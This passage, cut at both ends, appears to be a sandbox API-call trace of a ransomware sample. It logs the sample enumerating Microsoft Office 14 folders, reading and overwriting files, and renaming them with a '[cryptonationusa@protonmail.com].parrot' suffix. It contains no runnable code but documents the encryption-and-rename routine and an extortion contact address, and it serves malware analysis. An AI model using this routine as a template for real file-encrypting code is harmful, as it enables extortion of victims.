office\\office14\\1033\\wzcnflct.chm.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0181.327] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2257b90 | out: hHeap=0x5b0000) returned 1 [0181.327] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a3268 | out: hHeap=0x5b0000) returned 1 [0181.327] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22b6098 | out: hHeap=0x5b0000) returned 1 [0181.331] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xcea8, nNumberOfBytesToLockHigh=0x0) returned 1 [0181.331] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0181.331] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0181.333] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0181.333] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xcd90, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0xcd90, lpOverlapped=0x0) returned 1 [0181.335] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0181.336] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xcea8, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0181.336] CloseHandle (hObject=0x288) returned 1 [0181.336] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\XFUNC.VSL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\xfunc.vsl"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\XFUNC.VSL.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\xfunc.vsl.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0181.340] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2257b90 | out: hHeap=0x5b0000) returned 1 [0181.340] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a3268 | out: hHeap=0x5b0000) returned 1 [0181.340] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22d8068 | out: hHeap=0x5b0000) returned 1 [0181.342] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x339b, nNumberOfBytesToLockHigh=0x0) returned 1 [0181.342] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0181.342] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0181.343] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0181.344] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x3283, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x3283, lpOverlapped=0x0) returned 1 [0181.344] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0181.345] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x339b, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0181.345] CloseHandle (hObject=0x288) returned 1 [0181.345] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\Xlate_Complete.xsn" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\xlate_complete.xsn"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\Xlate_Complete.xsn.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\xlate_complete.xsn.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0181.348] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22d3808 | out: hHeap=0x5b0000) returned 1 [0181.348] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a3268 | out: hHeap=0x5b0000) returned 1 [0181.348] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22b6098 | out: hHeap=0x5b0000) returned 1 [0181.350] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x2e83, nNumberOfBytesToLockHigh=0x0) returned 1 [0181.350] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0181.350] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0181.352] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0181.352] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x2d6b, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x2d6b, lpOverlapped=0x0) returned 1 [0181.353] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0181.353] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x2e83, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0181.353] CloseHandle (hObject=0x288) returned 1 [0181.354] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\Xlate_Init.xsn" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\xlate_init.xsn"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\Xlate_Init.xsn.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\xlate_init.xsn.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0181.356] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2257b90 | out: hHeap=0x5b0000) returned 1 [0181.356] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a3268 | out: hHeap=0x5b0000) returned 1 [0181.356] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22b6098 | out: hHeap=0x5b0000) returned 1 [0181.359] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x18498, nNumberOfBytesToLockHigh=0x0) returned 1 [0181.359] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0181.359] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0181.360] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0181.361] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x18380, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x18380, lpOverlapped=0x0) returned 1 [0181.364] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0181.365] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x18498, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0181.365] CloseHandle (hObject=0x288) returned 1 [0181.366] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLINTL32.DLL.IDX_DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\xlintl32.dll.idx_dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLINTL32.DLL.IDX_DLL.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\xlintl32.dll.idx_dll.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0181.370] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x5dc98, nNumberOfBytesToLockHigh=0x0) returned 1 [0181.371] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0181.371] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0181.373] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0181.373] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x5db80, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x5db80, lpOverlapped=0x0) returned 1 [0181.387] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0181.407] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x5dc98, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0181.407] CloseHandle (hObject=0x288) returned 1 [0181.408] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLINTL32.REST.IDX_DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\xlintl32.rest.idx_dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLINTL32.REST.IDX_DLL.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\xlintl32.rest.idx_dll.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0181.417] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x2d18, nNumberOfBytesToLockHigh=0x0) returned 1 [0181.417] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0181.417] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0181.418] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0181.418] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x2c00, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x2c00, lpOverlapped=0x0) returned 1 [0181.419] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0181.421] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x2d18, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0181.421] CloseHandle (hObject=0x288) returned 1 [0181.421] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLMACRO.CHM" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\xlmacro.chm"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLMACRO.CHM.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\xlmacro.chm.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0181.427] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x3298, nNumberOfBytesToLockHigh=0x0) returned 1 [0181.428] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0181.428] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0181.470] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0181.470] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x3180, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x3180, lpOverlapped=0x0) returned 1 [0181.472] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0181.472] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x3298, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0181.472] CloseHandle (hObject=0x288) returned 1 [0181.473] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLSLICER.DLL.IDX_DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\xlslicer.dll.idx_dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLSLICER.DLL.IDX_DLL.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\xlslicer.dll.idx_dll.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0181.479] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x349a3a, nNumberOfBytesToLockHigh=0x0) returned 1 [0181.479] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0181.479] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0181.480] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0181.480] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x100000, lpOverlapped=0x0) returned 1 [0181.509] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0181.510] WriteFile (in: hFile=0x288, lpBuffer=0x6a3268*, nNumberOfBytesToWrite=0x118, lpNumberOfBytesWritten=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x6a3268*, lpNumberOfBytesWritten=0x18eed4*=0x118, lpOverlapped=0x0) returned 1 [0181.513] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0181.513] WriteFile (in: hFile=0x288, lpBuffer=0x2e80040*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2e80040*, lpNumberOfBytesWritten=0x18eed4*=0x100000, lpOverlapped=0x0) returned 1 [0181.515] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x349a3a, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0181.516] CloseHandle (hObject=0x288) returned 1 [0181.516] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\XMLSDK5.CHM" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\xmlsdk5.chm"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\XMLSDK5.CHM.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\xmlsdk5.chm.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0181.532] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\*", fInfoLevelId=0x0, lpFindFileData=0x18ef8c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ef8c) returned 0x600490 [0181.532] FindNextFileW (in: hFindFile=0x600490, lpFindFileData=0x18ef8c | out: lpFindFileData=0x18ef8c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee2ce510, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf83732c0, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xf83732c0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0181.534] FindNextFileW (in: hFindFile=0x600490, lpFindFileData=0x18ef8c | out: lpFindFileData=0x18ef8c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa4e33900, ftCreationTime.dwHighDateTime=0x1cab7ec, ftLastAccessTime.dwLowDateTime=0x14e98550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa4e33900, ftLastWriteTime.dwHighDateTime=0x1cab7ec, nFileSizeHigh=0x0, nFileSizeLow=0x53b0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACCDDSUI.DLL", cAlternateFileName="")) returned 1 [0181.535] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1036\\*", fInfoLevelId=0x0, lpFindFileData=0x18ef8c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ef8c) returned 0x600490 [0181.536] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0181.536] FindNextFileW (in: hFindFile=0x600490, lpFindFileData=0x18ef8c | out: lpFindFileData=0x18ef8c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x779e270, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x779e270, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x779e270, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0181.536] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0181.536] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0181.536] FindNextFileW (in: hFindFile=0x600490, lpFindFileData=0x18ef8c | out: lpFindFileData=0x18ef8c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2b069000, ftCreationTime.dwHighDateTime=0x1c99227, ftLastAccessTime.dwLowDateTime=0x779e270, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2b069000, ftLastWriteTime.dwHighDateTime=0x1c99227, nFileSizeHigh=0x0, nFileSizeLow=0xaa26, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSO.ACL", cAlternateFileName="")) returned 1 [0181.536] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xab3e, nNumberOfBytesToLockHigh=0x0) returned 1 [0181.537] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0181.537] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0181.538] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0181.538] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xaa26, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0xaa26, lpOverlapped=0x0) returned 1 [0181.540] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0181.542] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xab3e, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0181.542] CloseHandle (hObject=0x288) returned 1 [0181.543] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1036\\MSO.ACL" (normalized: "c:\\program files\\microsoft office\\office14\\1036\\mso.acl"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1036\\MSO.ACL.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\1036\\mso.acl.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0181.550] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1036\\*", fInfoLevelId=0x0, lpFindFileData=0x18ef8c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ef8c) returned 0x600490 [0181.550] FindNextFileW (in: hFindFile=0x600490, lpFindFileData=0x18ef8c | out: lpFindFileData=0x18ef8c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x779e270, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xf83e56e0, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xf83e56e0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0181.550] FindNextFileW (in: hFindFile=0x600490, lpFindFileData=0x18ef8c | out: lpFindFileData=0x18ef8c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2b069000, ftCreationTime.dwHighDateTime=0x1c99227, ftLastAccessTime.dwLowDateTime=0x779e270, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf83bf580, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0xab48, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSO.ACL.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="MSOACL~1.PAR")) returned 1 [0181.550] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\3082\\*", fInfoLevelId=0x0, lpFindFileData=0x18ef8c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ef8c) returned 0x600490 [0181.551] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0181.551] FindNextFileW (in: hFindFile=0x600490, lpFindFileData=0x18ef8c | out: lpFindFileData=0x18ef8c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a4f390, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x5a4f390, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5a4f390, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0181.551] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0181.551] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0181.551] FindNextFileW (in: hFindFile=0x600490, lpFindFileData=0x18ef8c | out: lpFindFileData=0x18ef8c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2d6ae900, ftCreationTime.dwHighDateTime=0x1c9922b, ftLastAccessTime.dwLowDateTime=0x5a4f390, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2d6ae900, ftLastWriteTime.dwHighDateTime=0x1c9922b, nFileSizeHigh=0x0, nFileSizeLow=0xc57c, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSO.ACL", cAlternateFileName="")) returned 1 [0181.551] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xc694, nNumberOfBytesToLockHigh=0x0) returned 1 [0181.551] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0181.551] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0181.553] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0181.553] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xc57c, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0xc57c, lpOverlapped=0x0) returned 1 [0181.556] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0181.558] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xc694, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0181.558] CloseHandle (hObject=0x288) returned 1 [0181.559] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\3082\\MSO.ACL" (normalized: "c:\\program files\\microsoft office\\office14\\3082\\mso.acl"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\3082\\MSO.ACL.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\3082\\mso.acl.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0181.565] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft 